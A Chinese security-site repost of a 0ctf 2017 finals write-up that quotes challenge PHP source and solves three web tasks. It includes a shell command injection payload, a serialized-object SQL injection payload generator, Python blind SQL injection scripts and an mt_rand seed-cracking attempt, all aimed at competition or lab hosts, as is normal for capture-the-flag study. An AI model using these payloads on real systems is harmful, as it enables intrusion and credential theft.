神刀安全网

0ctf2017 final

几周前刚刚从0ctf final的现场回来,虽然名词不好,但是收获很多,一直没来得及整理,今天终于整理完了…

AVATAR CENTER

题目很简单,但是刚上手的时候挺萌比的,一共两个功能。

1、修改时区,登陆注册之后有一个修改时区的功能。(盲测讲道理是没什么卵用的)

2、上传头像,这里盲测的结果是没有不会做任何处理,包括文件名和内容,但是头像内容是通过函数返回的,访问getavatar,返回文件内容,没办法找到目录在哪。

研究了一会儿发现这题被秒的差不多了,感觉有忽略的条件,于是扫端口发现2121存在ftp服务,匿名登陆上了服务器,翻了翻拿到了源码。

分析下逻辑主要是这样的。

输入时区必须为6位

if (strlen($tz) != 6) {  $response->write("tz format error");  return $response; } 

只要满足6位条件,那么就会传入

public function setTZ($tz){  exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir())); } 

执行命令

但是还有个通用的防御函数

function Security() {  if (filter_shell($_GET))    die("Potential Hack");   if ($_SERVER['REQUEST_METHOD'] === "POST") {   if (filter_shell($_POST))    die("Potential Hack");  } }  function filter_shell($var) {  foreach($var as $key => $value) {   if( is_array($value) && filter_shell($value))    return true;   if( preg_match("/[;$`&]/i", $key . $value))    return true;  }  return false; } 

对字符做了部分过滤,虽然这里没必要绕过就可以,但的确是可以绕过的,因为这句 $_SERVER['REQUEST_METHOD'] === "POST" 因为这里是全等于,所以可以通过修改request_method的大小写来绕过,导致过滤无用。

这里题目中给了提示,要用readflag命令读flag,那么这里的标准payload就是

|*/re* 

由于当前目录刚好是根目录,所以6位刚好执行。

这里也可以使用 escapeshellcmd 不过滤成对的引号的方法,通过sh执行命令,也就是小m的方法,就不赘述了。

uglyweb

说实话应该不是很难的题,但是放到线下花了很多时间,思路还是不太开阔。

整个站没什么功能,除了登陆注册以外,只有两个功能,一个是send,可以给指定的用户发送消息,收到消息的可以阅读(这里存在一个xss),另一个是reset,可以重置密码。

整个题目一共有两个flag,一个flag在数据库,另一个flag在cookie中,是httponly的,由于这是两个题目,所以仔细思考一下,可以猜到两个漏洞分别是什么。

数据库中的flag一定会有一个注入漏洞,而cookie中的flag,只有admin登陆才能看到,没办法通过任何别的方式获取,除非出题人失误,否则不能会出现一个洞打两个flag的情况,所以admin的密码一定不能解开,所以必须重置admin的密码。

回到代码逻辑上来,最重要的文件有几个:

user.class.php  <?php class User{  var $dbTable  = 'users';  var $sessionVariable = 'userSessionValue';  var $tbFields = array(   'userID'=> 'userID',    'login' => 'username',   'pass'  => 'password',   'email' => 'email',   'active'=> 'active'  );    var $displayErrors = false;  var $userID;  var $userData=array();   var $remTime = 2592000;  var $remCookieName = 'ckSavePass';  var $remCookieDomain = '';   function __construct(){   global $mysqli;   if( !isset( $_SESSION ) ) session_start();   $this->dbConn = $mysqli;   if ( !empty($_SESSION[$this->sessionVariable]) )   {    $this->loadUser( $_SESSION[$this->sessionVariable] );   }   if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){    $u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));    $this->login($u['email'], $u['password']);   }  }   function login($email, $password, $remember = false, $loadUser = true {)    $email = $this->escape($email);   $originalPassword = $password;   $password = md5($password);   $res = $this->query("SELECT * FROM `{$this->dbTable}`   WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);   var_dump("SELECT * FROM `{$this->dbTable}`   WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");    if ( $res->num_rows == 0)    return false;   if ( $loadUser )   {    $this->userData = $res->fetch_array();    $this->userID = $this->userData[$this->tbFields['userID']];    $_SESSION[$this->sessionVariable] = $this->userID;   }   if ( $remember ){    $cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));    $a = setcookie($this->remCookieName,     $cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);   }   return true;  }   function logout($redirectTo ='')  {   $_SESSION[$this->sessionVariable] = '';   $this->userData = '';   if ( $redirectTo != '' && !headers_sent()){    header('Location: '.$redirectTo );    exit;//To ensure security   }  }   function is($prop){   return $this->get_property($prop)==1?true:false;  }   function get_property($property)  {   if (empty($this->userID)) $this->error('No user is loaded', __LINE__);   if (!isset($this->userData[$property])) $this->error('Unknown property <b>'.$property.'</b>', __LINE__);   return $this->userData[$property];  }   function is_active()  {   return $this->userData[$this->tbFields['active']];  }   function is_loaded()  {   return empty($this->userID) ? false : true;  }   function activate()  {   if (empty($this->userID)) $this->error('No user is loaded', __LINE__);   if ( $this->is_active()) $this->error('Allready active account', __LINE__);   $res = $this->query("UPDATE `{$this->dbTable}` SET {$this->tbFields['active']} = 1 AND `activationHash`=''   WHERE `{$this->tbFields['userID']}` = '".$this->escape($this->userID)."' LIMIT 1");   if ($res->affected_rows == 1)   {    $this->userData[$this->tbFields['active']] = true;    return true;   }   return false;  }   function insertUser($data){   if (!is_array($data)) $this->error('Data is not an array', __LINE__);   $data[$this->tbFields['pass']] = md5($data[$this->tbFields['pass']]);   foreach ($data as $k => $v ) $data[$k] = "'".$this->escape($v)."'";   $this->query("INSERT INTO `{$this->dbTable}` (`".implode('`, `', array_keys($data))."`) VALUES (".implode(", ", $data).")");   return $this->dbConn->insert_id;  }   function randomPass($length=10, $chrs ='1234567890qwertyuiopasdfghjklzxcvbnm'){   for($i = 0; $i < $length; $i++) {    $pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};   }   return $pwd;  }   function query($sql, $line ='Uknown')  {   $res = $this->dbConn->query($sql);   if ( !$res )    $this->error($this->dbConn->error, $line);   return $res;  }   function loadUser($userID)  {   $res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['userID']}` = '".$this->escape($userID)."' LIMIT 1");   if ( $res->num_rows == 0 )    return false;   $this->userData = $res->fetch_array();   $this->userID = $userID;   $_SESSION[$this->sessionVariable] = $this->userID;   return true;  }   function findUser($username)  {   $res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['login']}` = '".$this->escape($username)."' LIMIT 1");   if ( $res->num_rows == 0 )    return false;   return $res->fetch_array()['userID'];  }   function escape($str)  {   if (is_array($str))   {    $str = array_map([&$this, 'escape'], $str);    return $str;   }   else if (is_string($str))   {    return $this->dbConn->real_escape_string($str);   }   else if (is_bool($str))   {    return ($str === false) ? 0 : 1;   }   else if ($str === null)   {    return 'NULL';   }   return $str;  }   function error($error, $line ='', $die = false){   if ( $this->displayErrors )    echo '<b>Error: </b>'.$error.'<br /><b>Line: </b>'.($line==''?'Unknown':$line).'<br />';   if ($die) exit;   return false;  } } 
message.class.php  <?php class Message{   var $msg = "";  var $from = "";  var $to = "";  var $id = -1;   function __construct($from, $to, $msg, $id=-1){   global $mysqli;   $this->from = $from;   $this->to = $to;   $this->msg = $msg;   $this->id = $id;  }   function __toString(){   return $this->msg;  }  }  class MessageManager{  function __construct(){   global $mysqli;   $this->dbConn = $mysqli;  }   function send($message){   $sql = "INSERT INTO `message`(`from`, `to`, `msg`)VALUES('".$this->escape($message->from)."', '".$this->escape($message->to)."', '".$this->escape($message->msg)."')";   $this->dbConn->query($sql);   return $this->dbConn->insert_id;  }   function all($to){   $sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."'";   $res = $this->dbConn->query($sql);   $result = array();   while($res && $message = $res->fetch_array()){    $result[] = new Message($message['from'], $message['to'], $message['msg'], $message['id']);   }   return $result;   }   function one($to, $id){   $sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."' and `id`=".intval($id);   $res = $this->dbConn->query($sql);   $result = null;   if($res && $message = $res->fetch_array()){    $result = new Message($message['from'], $message['to'], $message['msg'], $message['id']);   }   return $result;   }   function read($id){   $sql = "UPDATE `message` SET `read`=1 WHERE `id`=".intval($id);   $res = $this->dbConn->query($sql);  }   function escape($str)  {   if (is_array($str))   {    $str = array_map([&$this, 'escape'], $str);    return $str;   }   else if (is_string($str))   {    return $this->dbConn->real_escape_string($str);   }   else if (is_bool($str))   {    return ($str === false) ? 0 : 1;   }   else if ($str === null)   {    return 'NULL';   }   return $str;  }  } 

ugly01

这里的第一个flag是通过sql注入得到的,其实通审所有源码,不难发现代码中所有进入数据库的语句全部通过了escape函数,我们来看看escape函数

function escape($str)  {   if (is_array($str))   {    $str = array_map([&$this, 'escape'], $str);    return $str;   }   else if (is_string($str))   {    return $this->dbConn->real_escape_string($str);   }   else if (is_bool($str))   {    return ($str === false) ? 0 : 1;   }   else if ($str === null)   {    return 'NULL';   }   return $str;  } 

这里过滤了数组、字符串、布尔值、还判断了是不是null,那么没有被过滤的只有一种类型了,就是类。

那么我们回顾一下代码,在登陆逻辑中有个很重要的反序列化。

if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){  $u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));  $this->login($u['email'], $u['password']); } 

这里的email会代入login函数中,拼接进入sql语句。

function login($email, $password, $remember = false, $loadUser = true {)    $email = $this->escape($email);   $originalPassword = $password;   $password = md5($password);   $res = $this->query("SELECT * FROM `{$this->dbTable}`   WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);   var_dump("SELECT * FROM `{$this->dbTable}`   WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");    if ( $res->num_rows == 0)    return false;   if ( $loadUser )   {    $this->userData = $res->fetch_array();    $this->userID = $this->userData[$this->tbFields['userID']];    $_SESSION[$this->sessionVariable] = $this->userID;   }   if ( $remember ){    $cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));    $a = setcookie($this->remCookieName,     $cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);   }   return true;  } 

只可惜这里也会进入escape函数,那么我就要想办法代入一个类才行,再看看代码

class Message{   var $msg = "";  var $from = "";  var $to = "";  var $id = -1;   function __construct($from, $to, $msg, $id=-1){   global $mysqli;   $this->from = $from;   $this->to = $to;   $this->msg = $msg;   $this->id = $id;  }   function __toString(){   return $this->msg;  }  } 

不难发现message中有一个tostring方法,那么思路就很清晰了。

通过设置cookie传入序列化的message类,message->tostring代入email,构成注入

<?php   include 'message.class.php';   $sql = new Message();   // $sql->msg = 'ddog@ddog.c/' and (select substr(flag,1,1) from flag)=/'f/'#';/   $sql->msg = 'ddog@123/' union select 1,"admin",1,1,1,1#';   $payload = array(     "email"=>$sql,     "password"=>"23333"   );   echo base64_encode(serialize($payload)); ?> 

这是测试代码,附上exp

#!/usr/bin/env python # -*- coding:utf-8 -*-  import requests import base64  # url = "http://127.0.0.1/rsctf/uglyweb/" url = "http://192.168.201.13/"  ll = "_{}*1234567890qwertyuiopasdfghjklzxcvbnm" # a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:38:"ddog@ddog.c' union select 1,2,3,4,5,6#";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}  payload = ""  def attack(url, payload):   u1 = url + "send.php"   plen = len(payload)   payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'  # print base64.b64encode(payload)   cookies = {'ckSavePass': base64.b64encode(payload)}   r = requests.get(u1, cookies=cookies)   if 'Send Message' in r.text:   return True   return False  flag = ""  for i in xrange(40):  for j in ll:   payload = "bsw6b4y5@mail.bccto.me' and (select substr(PASSWORD,"+str(i)+",1) from users limit 1)='"+j+"'#"    if attack(url, payload):    flag +=j    print flag    break 

这里的第二个flag根据出题人说的话,是通过php的mt_rand漏洞来预测随机数,重置admin的密码,get flag2.

但是这其中有一些问题,我们写一个demo

<?php  // mt_srand(3213214212);  function gencsrftoken($length=10, $chrs ='1234567890qwertyuiopasdfghjklzxcvbnm'){  $csrf = '';  for($i = 0; $i < $length; $i++) {   $csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};  }  return $csrf; }  print gencsrftoken();  ?> 

获得token后,算出随机的数

s= "0gdfzw0lcz" chr = "1234567890qwertyuiopasdfghjklzxcvbnm"   for i in s:  # print i  print str(chr.index(i))+" "+str(chr.index(i))+" 0 35", 

然后使用计算随机数种子的工具

http://www.openwall.com/php_mt_seed/README

但是出了一些问题,如果我不指定随机数的种子,这个种子就不可被计算

lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed222203531310351919035232303533330352020035272703544035313103533035 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0, trying33554432- 67108863, speed15606712seeds per second ^C lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed990351616035191903512120351111035161603520200351313035550352020035 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0, trying4261412864- 4294967295, speed20581564seeds per second  Found 0 lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed990352424035222203523230352929035111103599035282803531310352929035 Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 Found 0, trying4261412864- 4294967295, speed20432551seeds per second  Found 0 

只有在被指定的情况下,才能跑出种子….出题的大佬说他没测试过题目…

luckygame

题很难,而且完成的要求非常苛刻,这里一步步的解决。

首先是源码

<?phpsession_start();?> <!DOCTYPE html> <html> <head>     <title>Lucky Game</title>     <linkrel="stylesheet"href="https://fonts.googleapis.com/css?family=Raleway:200">     <linkhref="https://fonts.googleapis.com/css?family=Noto+Sans"rel="stylesheet">     <linkrel="stylesheet"href="https://unpkg.com/purecss@0.6.2/build/pure-min.css"integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD"crossorigin="anonymous">     <linkrel="stylesheet"href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css">     <style>     .header{font-family: 'Noto Sans', sans-serif;}     .header h1{color: rgb(202, 60, 60);}     .button-error {background: rgb(202, 60, 60);}     .button-success {background: rgb(28, 184, 65);}     </style> </head> <body> <divid="layout"> <divid="menu">     <divclass="pure-menu">         <aclass="pure-menu-heading"href="#">TCTF</a>     </div> </div> <divid="main">     <divclass="header">         <h1>幸运数字</h1>         <h2>Shall we play a "lucky" game?</h2>     </div> <divclass="content"> <?php  ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT);  // require 'config.php'; if (!$link=mysqli_connect('localhost', 'root', '')) die('Connection error'); if (!mysqli_select_db($link,'luckygame')) die('Database error');  $tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()"; $cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()"; $query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT); $tbls_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query); $query = mysqli_query($link,$cols,MYSQLI_USE_RESULT); $cols_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query);   # CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id)); # INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10); # CREATE TABLE logs(id int NOT NULL,log varchar(64));   foreach($_POST as $k => $v){     if(!empty($v) && is_string($v))         $_POST[$k] = trim(mysqli_escape_string($link,$v));     else         unset($_POST[$k]); }  foreach($_GET as $k => $v){     if(!empty($v) && is_string($v))         $_GET[$k] = trim(mysqli_escape_string($link,$v));     else         unset($_GET[$k]); }   function filter($s){     global $tbls_name,$cols_name;     $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing     if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."/n".$a[0]."/n".$s."/n"."<aside>0ops!</aside>");     return $s; }  function register($username,$password){     global $link;     $q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",         filter($username),filter($password));      if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;     return TRUE; }  function login($username,$password){     global $link;     $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",         filter($username),filter($password));     if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;     $result = mysqli_fetch_array($query);     mysqli_free_result($query);     if(count($result)>0){         $_SESSION['id'] = $result['id'];         $_SESSION['user'] = $result['username'];         return TRUE;     } else {         unset($_SESSION['id'],$_SESSION['user']);         return FALSE;     } }  function user_log($s){     global $link;     $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",         filter($_SESSION['id'].'|'.$s));     if(!$query = mysqli_query($link,$q)) return FALSE;     return TRUE; }  function update_point($p){     global $link;     $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",         $p,$_SESSION['id']);     if(!$query = mysqli_query($link,$q)) return FALSE;     if(!user_log("Update ".$p)) return FALSE;     return TRUE; }  function my_point(){     global $link;     $q = sprintf("SELECT * FROM users WHERE username = '%s'",         filter($_SESSION['user']));     if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;     $result = mysqli_fetch_array($query);     mysqli_free_result($query);     return (int)($result['points']); }  switch(@$_GET['action']){     case 'register':         if(!empty($_POST['user']) && !empty($_POST['pass']))             if(!register($_POST['user'],$_POST['pass']))                 die("<aside>Something went wrong!</aside>");         break;     case 'login':         if(!empty($_POST['user']) && !empty($_POST['pass']))             login($_POST['user'],$_POST['pass']);         break;     case 'logout':         unset($_SESSION['user'],$_SESSION['id']);         break;     default:         break; }  if(empty($_SESSION['user'])){     echo <<<EOF         <form action="?action=register" method=POST class="pure-form pure-form-stacked">             <fieldset>                 <input type=text name=user required placeholder="Username" />                 <input type=password name=pass required placeholder="Password" />                 <button type="submit" class="pure-button pure-button-primary">Register</button>             </fieldset>         </form>          <form action="?action=login" method=POST class="pure-form pure-form-stacked">             <fieldset>                 <input type=text name=user required placeholder="Username"  />                 <input type=password name=pass required placeholder="Password" />                 <button type="submit" class="pure-button pure-button-primary button-success">Login</button>             </fieldset>         </form> EOF;     die(); }  $points = my_point();  if($points == 1337){     user_log('winner');     echo "<h3>Well played, we will give you a reward soon.</h3>"; }  echo <<<EOF     <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>     <h2>You got {$points} points</h2>     <form method=GET class="grid-panel pure-form-aligned pure-form">                     <div class="bet-control pure-control-group">                         <label for="bet-input">                             Your bet                         </label>                         <input name="bet" id="bet-input" data-content="bet-input"                                type="number" min="0" max="16" value=1>                      </div>                      <div class="guess-control pure-control-group">                         <label for="guess-input">                             Your guess                         </label>                         <input name="guess" id="guess-input" data-content='guess-input'                                type="number" min="0" value=1>                     </div>         <button type="submit" class="pure-button pure-button-primary button-error">Place</button>     </form>  EOF;  if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){     echo "<aside>";     if($_REQUEST['bet'] > $points) die("What?! you're cheater!");     $number = rand()%8;     echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";     if( $number == $_REQUEST['guess'] ){         echo "You won!";         if(!update_point($_REQUEST['bet']))             return;     } else {         echo "You lost :(";         if(!update_point(-$_REQUEST['bet']))             return;     }     echo "</aside>"; }  mysqli_close($link); ?>  </div> </div> </div> </body> </html> 

先顺序看一遍,很容易发现在注册然后登陆,在获取my_point的时候。

function my_point(){     global $link;     var_dump("SELECT * FROM users WHERE username = '".filter($_SESSION['user'])."'" );     $q = sprintf("SELECT * FROM users WHERE username = '%s'",         filter($_SESSION['user']));     if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;     $result = mysqli_fetch_array($query);     mysqli_free_result($query);     return (int)($result['points']); } 

这里从session中获取了user的值,构成了一个二次注入,但是这里有个新的问题,因为题目当中给了数据库结构,我们来看看

 # CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id)); # INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10); # CREATE TABLE logs(id int NOT NULL,log varchar(64)); 

user这里只有24位,这也是核心问题所在,我们没办法通过任何方式注入数据。所以我们必须想别的办法。

很快我们都能找到第二个注入在 user_log 中,通过更新分数然后进入 user_log ,这里有一个insert注入。

function user_log($s){     global $link;     $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",         filter($_SESSION['id'].'|'.$s));     var_dump($q);     if(!$query = mysqli_query($link,$q)) return FALSE;     return TRUE; }  function update_point($p){     global $link;     $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",         $p,$_SESSION['id']);     if(!$query = mysqli_query($link,$q)) return FALSE;     if(!user_log("Update ".$p)) return FALSE;     var_dump("Ture");     return TRUE; } 

这下我们有两个注入点了,但是我们遇到了新的问题,如果绕过filter的判断

function filter($s){     global $tbls_name,$cols_name;     $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing     if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."/n".$a[0]."/n".$s."/n"."<aside>0ops!</aside>");     return $s; } 

这里的主要问题是,如何绕过对表名和列名的判断。

这里用一个黑科技,既然我们可以把admin的密码通过注入来select出来,那么问题就是如何获取这个结果,这里可以使用mysql中的变量。

SELECT * FROM `users` WHERE username = "admin" into @a,@b,@c,@d; INSERT INTO logs VALUES (id+1,'17|Update 1e-1000' in (concat('123',1/(substr(@c,1,1)='d')))) 

通过构造双语句,构造报错盲注,我们再来看看代码

if(xx){         echo "You won!";         if(!update_point($_REQUEST['bet']))             return;     } else {         echo "You lost :(";         if(!update_point(-$_REQUEST['bet']))             return;     }     echo "</aside>"; 

如果我们构造除0错误,导致insert报错,这样这里就会直接return,如果正常就能输出 </aside> ,这样就构成了盲注。

这里使用的还是mysql的长连接特性,这样才能保证 @c 在注入的时候仍然存在。

这里我们构造username为

admin' into @a,@b,@c,@d# 

然后构造bet为

1e-1000' in (concat('123',1/(substr("test",1,1)='d'))))# 

最后一个坑是php的坑,由于我们在获取my_point的时候遇到了一些问题,因为题目中有个判断。

(int)$_REQUEST['bet'] > 0   if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); 

要满足这个条件,我们需要一些黑科技。

<?php $a=1e-10; var_dump((int)$a);  var_dump($a>0); ?> 

当a为1e-10的时候,php的返回是这样的

D:/wamp64/www/test.php:3:int 0  D:/wamp64/www/test.php:5:boolean true 

当a为1e-1000的时候,php的返回是这样的

D:/wamp64/www/test.php:3:int 0  D:/wamp64/www/test.php:5:boolean false 

这样我们就可以构造出来一个既大于0,又不大于0的值,完成注入。

这里脚本用了小m的

# -*- coding: utf-8 -*- import hashlib from string import ascii_letters, digits import requests import re  url = 'http://127.0.0.1/rsctf/luckygame/' header = {'cookie': 'PHPSESSID=jja6dabqrsgl8r43t6md3n1o14'} flag = '' exit_flag = False for i in range(1, 33):     for j in ascii_letters + digits:         payload = "1e-1000' in (concat('123',1/(substr(@c,%d,1)='%s'))))#" % (i, j)         while True:             print payload             res = requests.post(url, data={'guess':'1', 'bet':payload}, headers=header).text             # print res             # raw_input()             if ('won' in res) and ('</aside>' in res):                 exit_flag = True                 print i                 flag += j                 print flag                 break;             elif ('won' in res):                 break             else:                 continue         if exit_flag:             exit_flag = False             break; 

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 0ctf2017 final

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址